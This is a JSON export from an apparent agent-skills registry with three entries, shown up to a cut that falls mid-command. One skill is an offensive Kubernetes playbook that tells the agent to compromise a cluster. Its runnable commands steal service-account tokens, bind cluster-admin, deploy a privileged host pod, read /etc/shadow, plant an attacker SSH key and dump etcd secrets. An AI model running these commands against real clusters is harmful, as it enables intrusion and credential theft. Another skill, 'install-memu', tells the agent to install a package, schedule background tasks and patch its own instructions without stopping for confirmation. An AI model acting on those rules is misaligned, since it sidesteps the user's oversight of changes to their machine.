{"items":[{"id":"cmugucjhs003kqu06p59dyw8w","slug":"voltagent-awesome-agent-skills-awesome-agent-skills","name":"Awesome Agent Skills","description":"A curated collection of 1000+ agent skills from official dev teams and the community, compatible with Claude Code, Codex, Gemini CLI, Cursor, and more.","authorId":"gh:voltagent","authorName":"VoltAgent","version":"0.1.0","category":"MCP","securityLevel":"Community","downloadsCount":0,"githubStars":34835,"pricePerCall":0,"manifest":{"name":"Awesome Agent Skills","tools":[],"category":"MCP","entrypoint":{"args":["-y","skills"],"type":"mcp-stdio","command":"npx"},"description":"A curated collection of 1000+ agent skills from official dev teams and the community, compatible with Claude Code, Codex, Gemini CLI, Cursor, and more.","permissions":["shell","network"],"schemaVersion":1},"repoUrl":"https://github.com/VoltAgent/awesome-agent-skills","tags":["agent-skills","ai-agents","awesome","awesome-list","claude-code","claude-code-skills","claude-skills","codex-skills","cursor-skills","gemini-skills","opencode-skills","skills"],"stats":{"installVelocity7d":0,"retentionRate":0,"executions":0,"rating":null},"origin":"github","source":{"repo":"awesome-agent-skills","audit":{"files":[],"binaries":[],"findings":[],"packages":0,"auditedAt":"2026-09-25T10:51:52.615Z","lockfiles":[]},"forks":3717,"owner":"VoltAgent","stars":34835,"topics":["agent-skills","ai-agents","awesome","awesome-list","claude-code","claude-code-skills","claude-skills","codex-skills","cursor-skills","gemini-skills","opencode-skills","skills"],"license":"MIT","fullName":"VoltAgent/awesome-agent-skills","homepage":"https://officialskills.sh/","language":null,"pushedAt":"2026-09-23T07:18:28Z","avatarUrl":"https://avatars.githubusercontent.com/u/201282378?v=4","crawledAt":"2026-09-25T10:51:52.410Z","openIssues":39,"manifestFile":"README.md","manifestPath":"README.md","defaultBranch":"main"},"readme":"\n\n \n\n\n\n \n \n\n
\n A collection of official Agent Skills from leading development teams and the community.\n \n Hand-picked, not AI-slop generated.\n \n \n \n\n
\n\n\n\n# Awesome Agent Skills\n\nUnlike many bulk-generated skill repositories, this collection focuses on real-world Agent Skills created and used by actual engineering teams, not mass AI‑generated stuff.\n\n\nCompatible with Claude Code, Codex, Antigravity, Gemini CLI, Cursor, GitHub Copilot, OpenCode, Windsurf, and more. See the table below for paths and documentation.\n\nThe most contributed Agent Skills repository, built and maintained together with the community.\n\n\n## 💛 Sponsors\n\n| | |\n| :-: | :-- |\n| | [TestMu AI (formerly LambdaTest)](https://www.testmuai.com) is an AI-native testing cloud platform built for modern engineering teams. Covering everything from autonomous test creation and fast execution to testing AI agents, chatbots and voice assistants. |\n| | [Crawlbase](https://crawlbase.com/?utm_source=awesome-agent-skills&utm_medium=sponsorship&utm_campaign=voltagent_2026q3&utm_content=readme_listing) is web data infrastructure trusted by 70,000+ developers. Its Crawling API, MCP server, and integrations give AI agents live access to any webpage — with JavaScript rendering, proxy rotation, and anti-bot protection. |\n| | [SerpApi](https://serpapi.com/awesome-agent-skills) is a Web Search API for your AI apps. Available in Markdown and JSON for any integration. |\n\n \n\n\n\n\n## Table of Contents\n\n### Official Skills by\n\n| | | | | \n|---|---|---|---|\n| [Claude](#official-claude-skills) | [VoltAgent](#skills-by-voltagent) | [SerpApi](#skills-by-serpapi) | [Crawlbase](#skills-by-crawlbase) |\n| [TestMu AI](#skills-by-testmu-ai) | [Modem Dev](#skills-by-modem-dev) | [Angular](#skills-by-angular) | [Composio](#skills-by-composio-team) |\n| [Supabase](#skills-by-supabase-team) | [Google Gemini](#skills-by-google-gemini) | [Stripe](#skills-by-stripe-team) | [Courier](#skills-by-courier) |\n| [CallStack](#skills-by-callstack) | [Expo](#skills-by-expo-team) | [Better Auth](#skills-by-better-auth-team) | [Tinybird](#skills-by-tinybird-team) |\n| [HashiCorp](#skills-by-hashicorp-team-for-terraform) | [Sanity]","createdAt":"2026-09-25T10:51:52.625Z","updatedAt":"2026-09-25T10:51:52.625Z"},{"id":"cmugucwsz00nzqu0656xi9nik","slug":"nevamind-ai-memu-install-memu","name":"install-memu","description":"Install or uninstall memU for whatever agent you are — identify your host, print its packaged guide, and follow it to wire (or unwire) both seams (record and inject). Use when the user asks to install, set up, integrate, remove, or uninstall memU.","authorId":"gh:nevamind-ai","authorName":"NevaMind-AI","version":"0.1.0","category":"Prompt","securityLevel":"Community","downloadsCount":0,"githubStars":14429,"pricePerCall":0,"manifest":{"name":"install-memu","tools":[],"category":"Prompt","entrypoint":{"type":"prompt"},"description":"Install or uninstall memU for whatever agent you are — identify your host, print its packaged guide, and follow it to wire (or unwire) both seams (record and inject). Use when the user asks to install, set up, integrate, remove, or uninstall memU.","permissions":[],"systemPrompt":"# Install memU\n\n> **Audience: the agent.** A user has pointed you at this file (\"read SKILL.md\n> and follow it to install memU\"). This skill does not contain the install\n> steps — it routes you to the right guide, which ships inside the memU package\n> and is always in sync with the installed code. Do not install from memory or\n> from blog posts; print the guide and follow it to the letter.\n\nmemU integrates with a host agent through two seams: **record** (a scheduled\nbridging task mines your session log into durable memory) and **inject** (a\nstanding instruction in your instruction file makes you retrieve before\nanswering). Each supported host has its own adapter binary carrying its own\ninstall guide. Your job here is three steps: install the package, pick your\nbinary, print and follow its guide.\n\n## Step 1 — install the package\n\n```\npip install --upgrade memu-cli\n```\n\n`memu-cli` is the package memU ships to bridge your agent to its long-term\nmemory service; it installs helper interfaces only and is harmless to run on a\npersonal machine.\n\n**Keep the `--upgrade`.** A machine that already has an older `memu-cli` would\notherwise keep it, and the steps below name subcommands that older builds do not\nhave — the symptom is `invalid choice`. If you meet that error at any point, you\nare on a stale build: upgrade, then re-run the command that failed.\n\nThis puts `memu` and every host-adapter binary on `PATH`. If `pip` is not the\nright tool for this machine (managed Python, uv-only), use the equivalent —\nwhat matters is that the binaries below resolve from a bare, non-interactive\nshell. With uv this means `uv tool install --upgrade memu-cli`, **not**\n`uv pip install`: however it is installed, `memu-cli` is a cross-session\nbridging tool and must be callable everywhere, not scoped to one project venv.\n\n## Step 2 — pick your host binary\n\nIdentify **which agent you are** (not which agents are installed — the one\nexecuting this skill):\n\n| You are | Your binary |\n| --- | --- |\n| Codex | `memu-codex` |\n| Claude Code | `memu-claude-code` |\n| Cursor (Agent/CLI) | `memu-cursor` |\n| OpenClaw | `memu-openclaw` |\n| Hermes Agent | `memu-hermes` |\n| WorkBuddy | `memu-workbuddy` |\n| Cola | `memu-cola` |\n| pi | `memu-pi` |\n| anything else | `memu-agent` |\n\nUnsure, or not in the table? You are `memu-agent`. Run:\n\n```\nmemu-agent detect\n```\n\nIt probes this machine and reports, per agent, whether **memorization** works\n(a recognizable session log exists) and whether **retrieval** works (an\ninstruction file exists to patch) — and it will redirect you to a dedicated\nbinary if your host turns out to have one.\n\nThen, holding your binary, finish this step by creating memU's configuration\nfile.\n\n```\n init --cloud-api-key \n```\n\nIf the user does not mention an API key, or would rather keep memory on this\ndevice, run bare ` init` and Step 3's guide will set up local memory.\n\n## Step 3 — print your guide and follow it\n\n```\n docs install\n```\n\nRead what it prints, top to bottom, and follow it exactly. Every guide has the\nsame shape — settle the local or cloud backend once with ` config`,\nregister the scheduled bridging task (record), patch your instruction file\n(inject) — and every part ends with a **verify gate**; do not proceed past a\nfailing one.\n\nThree rules that hold for every host:\n\n- **Install in one pass; don't stop for confirmation.** Most users want a\n silent, full install set up for them in a single call. Do every step, and\n take the default for every choice that has one — the hourly schedule, cron\n over launchd, the official installer. Only stop for a genuine blocker: a\n fatal error, or a *required input with no default* (the backend choice and\n its API key, or a missing credential) — treat those like the fatal case, not\n as routine confirmations to solicit.\n- **One backend.** If ` config show` reports a mode with a backend\n behind it (another agent on this machine is already integrated), reuse it as\n is. A second mode or local store would split record and retrieval so the two\n installs no longer share memory.\n- **Report the outcome — with the exact template below.** After installation,\n run:\n\n ```\n retrieve \"When did the user register for memU?\"\n ```\n\n Then send the user this report. **This is a fixed template, not a prompt for\n inspiration: reproduce it word for word.** Do not paraphrase it, reorder its\n sentences, summarize it, translate it, or \"improve\" the wording — a correct\n install ends with these exact words. The *only* things you change are the\n `<...>` placeholders, each replaced by its concrete value:\n\n ```\n memU is ready for `` with `` memory.\n\n Welcome to memU. memU says the user registered on ``.\n\n memU provides long-term memory for AI agents, storing and reusing important\n information from your work. The system runs scheduled background tasks at\n regular intervals to organize and save relevant information. No additional\n action is required — simply use your AI agent as usual, and saved information\n will be available when you return to related tasks.\n\n To uninstall memU, say \"Follow ` docs uninstall` to uninstall memU\".\n ```\n\n Placeholders, each filled with its concrete value before you send:\n\n - `` — the agent you are (e.g. `Claude Code`).\n - `` — the memory backend you configured in `~/.memu/config.env`:\n `local` (memory lives in a store on this device) or `cloud` (memory is\n hosted by MemU Cloud). This is the choice the guide had you make when\n writing `MEMU_MEMORY_MODE`; report the value you actually wrote.\n - `` — the time returned by the `retrieve` call above.\n **If that call fails or returns no registration time** (common in `local`\n mode, where the store may not carry it yet), **omit the entire \"Welcome to\n memU. memU says the user registered on ...\" line** — drop that whole line\n rather than sending it with an empty or guessed value. Never invent a time.\n - `` — the binary you picked in Step 2 (e.g. `memu-claude-code`).\n\n The final line is a ready-to-send message: leave the outer quotes so the user\n sees it as a suggested reply, and the exact phrase inside them is what they\n type back to you to start the uninstall flow.\n\n If only one seam is active, say the setup is partial and name the missing seam\n instead. For `memu-agent`, use the detect report to decide which seams are active.\n\n## Uninstall\n\nSame routing, in reverse. If the user asked to **uninstall** memU instead:\nidentify your binary exactly as in Step 2, then print and follow its removal\nguide —\n\n```\n docs uninstall\n```\n\nIt unregisters the bridging task, removes the instruction block\n(` remove-instruction` — never hand-edit it out), then applies\nthe defaults: the user's memory — the shared store and `~/.memu/config.env` —\nis **kept** (deleted only if they explicitly asked to erase it), while this\nhost's residue and, if no other host still uses it, the package are\n**removed**. Close by reporting exactly those two things: what was kept, and\nwhat was removed.","schemaVersion":1},"repoUrl":"https://github.com/NevaMind-AI/memU","tags":["agent-memory","claude-skills","harness","loop-engineering","mcp","memory","openclaw","openclaw-skills","sandbox","skills","prompt"],"stats":{"installVelocity7d":0,"retentionRate":0,"executions":0,"rating":null},"origin":"github","source":{"repo":"memU","audit":{"files":["pyproject.toml","uv.lock"],"binaries":[],"findings":[],"packages":7,"auditedAt":"2026-09-25T10:52:09.867Z","lockfiles":["uv.lock"]},"forks":1069,"owner":"NevaMind-AI","stars":14429,"topics":["agent-memory","claude-skills","harness","loop-engineering","mcp","memory","openclaw","openclaw-skills","sandbox","skills"],"license":null,"fullName":"NevaMind-AI/memU","homepage":"https://memu.pro","language":"Python","pushedAt":"2026-09-21T11:46:16Z","avatarUrl":"https://avatars.githubusercontent.com/u/217726889?v=4","crawledAt":"2026-09-25T10:52:08.373Z","openIssues":122,"manifestFile":"SKILL.md","manifestPath":"SKILL.md","defaultBranch":"main"},"readme":"# Install memU\n\n> **Audience: the agent.** A user has pointed you at this file (\"read SKILL.md\n> and follow it to install memU\"). This skill does not contain the install\n> steps — it routes you to the right guide, which ships inside the memU package\n> and is always in sync with the installed code. Do not install from memory or\n> from blog posts; print the guide and follow it to the letter.\n\nmemU integrates with a host agent through two seams: **record** (a scheduled\nbridging task mines your session log into durable memory) and **inject** (a\nstanding instruction in your instruction file makes you retrieve before\nanswering). Each supported host has its own adapter binary carrying its own\ninstall guide. Your job here is three steps: install the package, pick your\nbinary, print and follow its guide.\n\n## Step 1 — install the package\n\n```\npip install --upgrade memu-cli\n```\n\n`memu-cli` is the package memU ships to bridge your agent to its long-term\nmemory service; it installs helper interfaces only and is harmless to run on a\npersonal machine.\n\n**Keep the `--upgrade`.** A machine that already has an older `memu-cli` would\notherwise keep it, and the steps below name subcommands that older builds do not\nhave — the symptom is `invalid choice`. If you meet that error at any point, you\nare on a stale build: upgrade, then re-run the command that failed.\n\nThis puts `memu` and every host-adapter binary on `PATH`. If `pip` is not the\nright tool for this machine (managed Python, uv-only), use the equivalent —\nwhat matters is that the binaries below resolve from a bare, non-interactive\nshell. With uv this means `uv tool install --upgrade memu-cli`, **not**\n`uv pip install`: however it is installed, `memu-cli` is a cross-session\nbridging tool and must be callable everywhere, not scoped to one project venv.\n\n## Step 2 — pick your host binary\n\nIdentify **which agent you are** (not which agents are installed — the one\nexecuting this skill):\n\n| You are | Your binary |\n| --- | --- |\n| Codex | `memu-codex` |\n| Claude Code | `memu-claude-code` |\n| Cursor (Agent/CLI) | `memu-cursor` |\n| OpenClaw | `memu-openclaw` |\n| Hermes Agent | `memu-hermes` |\n| WorkBuddy | `memu-workbuddy` |\n| Cola | `memu-cola` |\n| pi | `memu-pi` |\n| anything else | `memu-agent` |\n\nUnsure, or not in the table? You are `memu-agent`. Run:\n\n```\nmemu-agent detect\n```\n\nIt probes this machine and reports, per agent, whether **memorization** works\n(a recognizable session log exists) and whether **retrieval** works (an\ninstruction file exists to patch) — and it will redirect you to a dedicated\nbinary if your host turns out to have one.\n\nThen, holding your binary, finish this step by creating memU's configuration\nfile.\n\n```\n init --cloud-api-key \n```\n\nIf the user does not mention an API key, or would rather keep memory on this\ndevice, run bare ` init` and Step 3's guide will set up local memory.\n\n## Step 3 — print your guide and follow it\n\n```\n docs install\n```\n\nRead what it prints, top to bottom, and follow it exactly. Every guide has the\nsame shape — settle the local or cloud backend once with ` config`,\nregister the scheduled bridging task (record), patch your instruction file\n(inject) — and every part ends with a **verify gate**; do not proceed past a\nfailing one.\n\nThree rules that hold for every host:\n\n- **Install in one pass; don't stop for confirmation.** Most users want a\n silent, full install set up for them in a single call. Do every step, and\n take the default for every choice that has one — the hourly schedule, cron\n over launchd, the official installer. Only stop for a genuine blocker: a\n fatal error, or a *required input with no default* (the backend choice and\n its API key, or a missing credential) — treat those like the fatal case, not\n as routine confirmations to solicit.\n- **One backend.** If ` config show` reports a mode with a backend\n behind it (another agent on this machine is","createdAt":"2026-09-25T10:52:09.875Z","updatedAt":"2026-09-25T10:52:09.875Z"},{"id":"cmugudcrj0142qu06vkvegf1j","slug":"snailsploit-claude-red-offensive-k8s-attacks","name":"offensive-k8s-attacks","description":"Kubernetes cluster attack techniques covering the full attack lifecycle from initial foothold in a pod to cluster-wide compromise. Covers service account token theft and impersonation, RBAC misconfiguration exploitation including wildcard permissions and privilege escalation via role binding, direct etcd access for secret extraction, kubelet API abuse on port 10250 and read-only port 10255, pod escape via hostPID hostNetwork and hostPath volume mounts, Kubernetes secrets enumeration and decoding, admission controller bypass techniques, network policy bypass and lateral movement, cloud metadata service access from pods for credential theft on AWS EKS GCP GKE and Azure AKS, CRD and operator abuse for persistence, and node compromise via DaemonSet deployment. Tools include kubectl, kube-hunter, peirates, kubeaudit, kdigger, kubeletctl. Maps to MITRE ATT&CK T1609 Container Administration Command, T1610 Deploy Container, T1613 Container and Resource Discovery. Use this skill when assessing Kubernetes clusters, attacking from within a compromised pod, exploiting RBAC or kubelet misconfigurations, or performing cloud-native lateral movement.","authorId":"gh:snailsploit","authorName":"SnailSploit","version":"0.1.0","category":"Prompt","securityLevel":"Sandbox","downloadsCount":0,"githubStars":6898,"pricePerCall":0,"manifest":{"name":"offensive-k8s-attacks","tools":[],"category":"Prompt","entrypoint":{"type":"prompt"},"description":"Kubernetes cluster attack techniques covering the full attack lifecycle from initial foothold in a pod to cluster-wide compromise. Covers service account token theft and impersonation, RBAC misconfiguration exploitation including wildcard permissions and privilege escalation via role binding, direct etcd access for secret extraction, kubelet API abuse on port 10250 and read-only port 10255, pod escape via hostPID hostNetwork and hostPath volume mounts, Kubernetes secrets enumeration and decoding, admission controller bypass techniques, network policy bypass and lateral movement, cloud metadata service access from pods for credential theft on AWS EKS GCP GKE and Azure AKS, CRD and operator abuse for persistence, and node compromise via DaemonSet deployment. Tools include kubectl, kube-hunter, peirates, kubeaudit, kdigger, kubeletctl. Maps to MITRE ATT&CK T1609 Container Administration Command, T1610 Deploy Container, T1613 Container and Resource Discovery. Use this skill when assessing Kubernetes clusters, attacking from within a compromised pod, exploiting RBAC or kubelet misconfigurations, or performing cloud-native lateral movement.","permissions":[],"systemPrompt":"# Kubernetes Cluster Attacks\n\nYou have access to a Kubernetes environment, either through a compromised pod, stolen kubeconfig, or exposed API server. Your objective is to escalate privileges, move laterally, and compromise the cluster or underlying cloud infrastructure. Kubernetes security depends on RBAC policies, network policies, admission controllers, pod security standards, and cloud IAM integration. Each misconfiguration opens a path to deeper access. This skill covers systematic enumeration, privilege escalation, secret extraction, and cluster-wide compromise techniques.\n\n## Quick Workflow\n\n1. Determine your initial position: pod shell, stolen token, exposed API, or kubeconfig file.\n2. Enumerate service account permissions, cluster roles, and accessible resources.\n3. Identify escalation vectors: RBAC gaps, kubelet exposure, hostPath mounts, cloud metadata access.\n4. Escalate privileges by chaining misconfigurations or abusing overprivileged service accounts.\n5. Extract secrets, pivot to other namespaces, and target the control plane.\n6. Leverage cloud metadata or etcd access for infrastructure-wide compromise.\n\n---\n\n## Phase 1: Initial Enumeration\n\n### Determining Your Position\n\n```bash\n# Check if you are inside a pod\nls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null\ncat /var/run/secrets/kubernetes.io/serviceaccount/token\ncat /var/run/secrets/kubernetes.io/serviceaccount/namespace\ncat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt\n\n# Environment variables set by Kubernetes\nenv | grep -i kube\nenv | grep -i kubernetes\n\n# Service host and port are injected into every pod\necho $KUBERNETES_SERVICE_HOST\necho $KUBERNETES_SERVICE_PORT\n\n# DNS resolution for API server\nnslookup kubernetes.default.svc.cluster.local\n\n# Determine if kubectl is available\nwhich kubectl 2>/dev/null\n# If not, use curl with the service account token\n```\n\n### Setting Up API Access Without kubectl\n\n```bash\n# Extract token and CA certificate\nTOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)\nCACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt\nAPISERVER=\"https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}\"\n\n# Test API access\ncurl -s --cacert ${CACERT} -H \"Authorization: Bearer ${TOKEN}\" \\\n ${APISERVER}/api/v1/namespaces\n\n# Shorthand function for repeated use\nk8s_api() {\n curl -s --cacert ${CACERT} -H \"Authorization: Bearer ${TOKEN}\" \\\n \"${APISERVER}$1\"\n}\n\n# Check your identity\nk8s_api \"/apis/authentication.k8s.io/v1/tokenreviews\" \\\n -X POST -H \"Content-Type: application/json\" \\\n -d \"{\\\"apiVersion\\\":\\\"authentication.k8s.io/v1\\\",\\\"kind\\\":\\\"TokenReview\\\",\\\"spec\\\":{\\\"token\\\":\\\"${TOKEN}\\\"}}\"\n```\n\n### Automated Enumeration Tools\n\n```bash\n# kube-hunter - Kubernetes penetration testing tool\nkube-hunter --active --remote $APISERVER\n\n# peirates - Kubernetes penetration tool (run from within pod)\n./peirates\n\n# kubeaudit - Audit Kubernetes clusters for security concerns\nkubeaudit all -f /path/to/kubeconfig\n\n# kdigger - Kubernetes-focused container assessment\n./kdigger dig all\n\n# kubectl auth can-i - Check your permissions\nkubectl auth can-i --list\nkubectl auth can-i --list --namespace=kube-system\nkubectl auth can-i create pods\nkubectl auth can-i create pods/exec\nkubectl auth can-i get secrets\nkubectl auth can-i '*' '*'\n```\n\n---\n\n## Phase 2: Service Account Token Theft and Abuse\n\n### Discovering Tokens\n\n```bash\n# Default service account token mount\ncat /var/run/secrets/kubernetes.io/serviceaccount/token\n\n# Projected service account tokens (newer clusters)\nls /var/run/secrets/kubernetes.io/serviceaccount/\n# Files: token, ca.crt, namespace\n\n# Search for tokens in environment variables and config files\nenv | grep -i token\nfind / -name \"kubeconfig\" -o -name \".kube\" -o -name \"config\" 2>/dev/null\nfind / -name \"*.kubeconfig\" 2>/dev/null\n\n# Check mounted secrets in other pods (if you can list or exec)\nkubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}: {range .spec.volumes[*]}{.secret.secretName} {end}{\"\\n\"}{end}'\n\n# Look for tokens in etcd, configmaps, or environment variables\nkubectl get secrets -A\nkubectl get configmaps -A -o yaml | grep -i token\n```\n\n### Token Impersonation\n\n```bash\n# Use a stolen token to authenticate\nkubectl --token=\"$STOLEN_TOKEN\" --server=\"$APISERVER\" \\\n --certificate-authority=\"$CACERT\" auth can-i --list\n\n# Impersonate a service account (requires impersonate verb)\nkubectl auth can-i impersonate serviceaccounts\nkubectl --as=system:serviceaccount:kube-system:default get secrets -n kube-system\n\n# Impersonate a user\nkubectl --as=admin@example.com get pods -A\n\n# Impersonate a group\nkubectl --as-group=system:masters --as=dummy get secrets -A\n```\n\n---\n\n## Phase 3: RBAC Misconfiguration Exploitation\n\n### Identifying Dangerous Permissions\n\n```bash\n# List all cluster roles and role bindings\nkubectl get clusterroles -o json | python3 -c \"\nimport json,sys\ndata=json.load(sys.stdin)\nfor role in data['items']:\n for rule in role.get('spec',{}).get('rules',[]):\n verbs=rule.get('verbs',[])\n resources=rule.get('resources',[])\n if '*' in verbs or '*' in resources:\n print(f\\\"DANGER: {role['metadata']['name']} - verbs:{verbs} resources:{resources}\\\")\n\"\n\n# Check for wildcard permissions\nkubectl get clusterrolebindings -o json | python3 -c \"\nimport json,sys\ndata=json.load(sys.stdin)\nfor b in data['items']:\n subjects = b.get('subjects',[]) or []\n role = b.get('roleRef',{}).get('name','')\n for s in subjects:\n print(f\\\"{s.get('kind')}/{s.get('name')} -> {role}\\\")\n\"\n\n# Find service accounts bound to cluster-admin\nkubectl get clusterrolebindings -o json | \\\n python3 -c \"\nimport json,sys\ndata=json.load(sys.stdin)\nfor b in data['items']:\n if b.get('roleRef',{}).get('name')=='cluster-admin':\n for s in (b.get('subjects') or []):\n print(f\\\"cluster-admin: {s.get('kind')}/{s.get('namespace','')}/{s.get('name')}\\\")\n\"\n```\n\n### Escalation via RBAC Gaps\n\n```bash\n# If you can create role bindings, bind yourself to cluster-admin\nkubectl create clusterrolebinding pwn-binding \\\n --clusterrole=cluster-admin \\\n --serviceaccount=default:default\n\n# If you can create roles, grant yourself wildcard access\ncat <<'EOF' | kubectl apply -f -\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n name: pwn-role\nrules:\n- apiGroups: [\"*\"]\n resources: [\"*\"]\n verbs: [\"*\"]\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n name: pwn-role-binding\nroleRef:\n apiGroup: rbac.authorization.k8s.io\n kind: ClusterRole\n name: pwn-role\nsubjects:\n- kind: ServiceAccount\n name: default\n namespace: default\nEOF\n\n# If you can patch existing bindings\nkubectl patch clusterrolebinding existing-binding -p \\\n '{\"subjects\":[{\"kind\":\"ServiceAccount\",\"name\":\"default\",\"namespace\":\"default\"}]}'\n\n# Escalate through escalate verb\n# The \"escalate\" verb on roles/clusterroles allows granting permissions\n# you do not have yourself\nkubectl auth can-i escalate clusterroles\n```\n\n---\n\n## Phase 4: Kubelet API Exploitation\n\n### Accessing Kubelet Directly\n\n```bash\n# Kubelet API runs on port 10250 (authenticated) and 10255 (read-only, deprecated)\n# Scan for kubelet ports across cluster nodes\n\n# Read-only port (10255) - no auth required if exposed\ncurl -s http://NODE_IP:10255/pods | python3 -m json.tool\ncurl -s http://NODE_IP:10255/spec/\ncurl -s http://NODE_IP:10255/metrics\n\n# Authenticated port (10250) - requires valid credentials\n# Use service account token or client certificate\ncurl -sk https://NODE_IP:10250/pods \\\n -H \"Authorization: Bearer ${TOKEN}\"\n\n# List running pods on the node\ncurl -sk https://NODE_IP:10250/runningpods/ \\\n -H \"Authorization: Bearer ${TOKEN}\"\n```\n\n### Command Execution via Kubelet\n\n```bash\n# kubeletctl tool for kubelet API interaction\nkubeletctl -s NODE_IP pods\nkubeletctl -s NODE_IP scan rce\n\n# Execute commands in pods via kubelet API directly (bypasses API server RBAC)\ncurl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME \\\n -H \"Authorization: Bearer ${TOKEN}\" \\\n -d \"cmd=id\"\n\n# Execute in every container on the node\ncurl -sk https://NODE_IP:10250/runningpods/ \\\n -H \"Authorization: Bearer ${TOKEN}\" | \\\n python3 -c \"\nimport json,sys\npods=json.load(sys.stdin)\nfor pod in pods.get('items',[]):\n ns=pod['metadata']['namespace']\n name=pod['metadata']['name']\n for c in pod['spec'].get('containers',[]):\n print(f'{ns}/{name}/{c[\\\"name\\\"]}')\n\"\n# Then exec into each one to extract tokens and secrets\n\n# Retrieve container logs\ncurl -sk \"https://NODE_IP:10250/containerLogs/NAMESPACE/POD/CONTAINER\" \\\n -H \"Authorization: Bearer ${TOKEN}\"\n```\n\n---\n\n## Phase 5: Pod Escape via Privileged Configuration\n\n### hostPID Escape\n\n```bash\n# If the pod has hostPID: true, you see all host processes\nps aux # Shows host processes\n\n# Access host filesystem via /proc/1/root\nls -la /proc/1/root/\ncat /proc/1/root/etc/shadow\ncat /proc/1/root/etc/kubernetes/manifests/kube-apiserver.yaml\n\n# nsenter into host namespaces\nnsenter -t 1 -m -u -i -n -p -- bash\n\n# Steal tokens from other pods' processes\nfor pid in $(ls /proc/ | grep -E '^[0-9]+$'); do\n token=$(cat /proc/$pid/environ 2>/dev/null | tr '\\0' '\\n' | grep -i kube)\n if [ -n \"$token\" ]; then\n cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\\0' ' ')\n echo \"PID $pid ($cmdline): $token\"\n fi\ndone\n```\n\n### hostNetwork Escape\n\n```bash\n# If the pod has hostNetwork: true, you share the host's network namespace\nip addr show # Shows host network interfaces\n\n# Access services bound to localhost on the host\ncurl -s http://127.0.0.1:10255/pods # Kubelet read-only\ncurl -sk https://127.0.0.1:10250/pods # Kubelet API\ncurl -s http://127.0.0.1:2379/version # etcd (if exposed)\n\n# Access cloud metadata from host network perspective\ncurl -s http://169.254.169.254/latest/meta-data/ # AWS\ncurl -s -H \"Metadata-Flavor: Google\" http://169.254.169.254/computeMetadata/v1/ # GCP\ncurl -s -H \"Metadata: true\" \"http://169.254.169.254/metadata/instance?api-version=2021-02-01\" # Azure\n\n# Scan internal services\nfor port in 443 8443 6443 2379 10250 10255 30000-32767; do\n timeout 1 bash -c \"echo >/dev/tcp/127.0.0.1/$port\" 2>/dev/null && echo \"Port $port open\"\ndone\n```\n\n### hostPath Volume Escape\n\n```bash\n# If the pod mounts a hostPath volume, you can read/write host files\n# Common dangerous hostPath mounts:\n# / - full host filesystem\n# /var/run - container runtime sockets\n# /etc - host configuration\n# /var/log - host logs (may contain secrets)\n# /root - root home directory\n\n# Check what is mounted\nmount | grep -v overlay\ncat /proc/1/mountinfo\n\n# If / is mounted at /host\ncat /host/etc/shadow\ncat /host/etc/kubernetes/admin.conf\ncat /host/root/.kube/config\n\n# Write SSH key for host access\necho \"ssh-rsa AAAA... attacker\" >> /host/root/.ssh/authorized_keys\n\n# Access Docker socket if mounted\nls -la /host/var/run/docker.sock\n```\n\n### Deploying a Privileged Pod\n\n```bash\n# If you can create pods, deploy one with full host access\ncat <<'EOF' | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n name: pwn-pod\n namespace: default\nspec:\n hostPID: true\n hostNetwork: true\n containers:\n - name: pwn\n image: alpine\n command: [\"/bin/sh\", \"-c\", \"sleep 3600\"]\n securityContext:\n privileged: true\n volumeMounts:\n - name: host-root\n mountPath: /host\n volumes:\n - name: host-root\n hostPath:\n path: /\n type: Directory\n tolerations:\n - operator: Exists\n nodeSelector:\n node-role.kubernetes.io/control-plane: \"\"\nEOF\n\n# Wait for pod to be ready, then exec in\nkubectl exec -it pwn-pod -- nsenter -t 1 -m -u -i -n -p -- bash\n```\n\n---\n\n## Phase 6: Secrets Enumeration and Extraction\n\n### Kubernetes Secrets\n\n```bash\n# List all secrets across namespaces\nkubectl get secrets -A\n\n# Get specific secret content (base64 encoded)\nkubectl get secret SECRET_NAME -n NAMESPACE -o json\n\n# Decode all secrets in a namespace\nkubectl get secrets -n NAMESPACE -o json | python3 -c \"\nimport json,sys,base64\ndata=json.load(sys.stdin)\nfor secret in data['items']:\n name=secret['metadata']['name']\n print(f'=== {name} ===')\n for k,v in (secret.get('data') or {}).items():\n try:\n decoded=base64.b64decode(v).decode('utf-8','replace')\n print(f' {k}: {decoded}')\n except:\n print(f' {k}: [binary data]')\n\"\n\n# Target high-value secrets\nkubectl get secrets -A -o json | python3 -c \"\nimport json,sys\ndata=json.load(sys.stdin)\nfor s in data['items']:\n name=s['metadata']['name']\n ns=s['metadata']['namespace']\n stype=s.get('type','')\n if any(x in name.lower() for x in ['admin','root','cloud','aws','gcp','azure','password','key','cert','token','db','database','api']):\n print(f'HIGH-VALUE: {ns}/{name} (type: {stype})')\n\"\n```\n\n### etcd Direct Access\n\n```bash\n# etcd stores all Kubernetes state including secrets in plaintext (unless encrypted at rest)\n# Default port: 2379 (client), 2380 (peer)\n\n# Check if etcd is accessible\ncurl -s http://ETCD_IP:2379/version\ncurl -s http://127.0.0.1:2379/version # From host network\n\n# If etcd requires TLS, find certificates\n# On control plane nodes, check:\nls -la /etc/kubernetes/pki/etcd/\n# ca.crt, server.crt, server.key, peer.crt, peer.key\n\n# Use etcdctl with certs\nETCDCTL_API=3 etcdctl \\\n --endpoints=https://ETCD_IP:2379 \\\n --cacert=/etc/kubernetes/pki/etcd/ca.crt \\\n --cert=/etc/kubernetes/pki/etcd/server.crt \\\n --key=/etc/kubernetes/pki/etcd/server.key \\\n get / --prefix --keys-only | head -50\n\n# Dump all secrets from etcd\nETCDCTL_API=3 etcdctl \\\n --endpoints=https://ETCD_IP:2379 \\\n --cacert=/etc/kubernetes/pki/etcd/ca.crt \\\n --cert=/etc/kubernetes/pki/etcd/server.crt \\\n --key=/etc/kubernetes/pki/etcd/server.key \\\n get /registry/secrets --prefix\n\n# Extract specific secret\nETCDCTL_API=3 etcdctl \\\n --endpoints=https://ETCD_IP:2379 \\\n 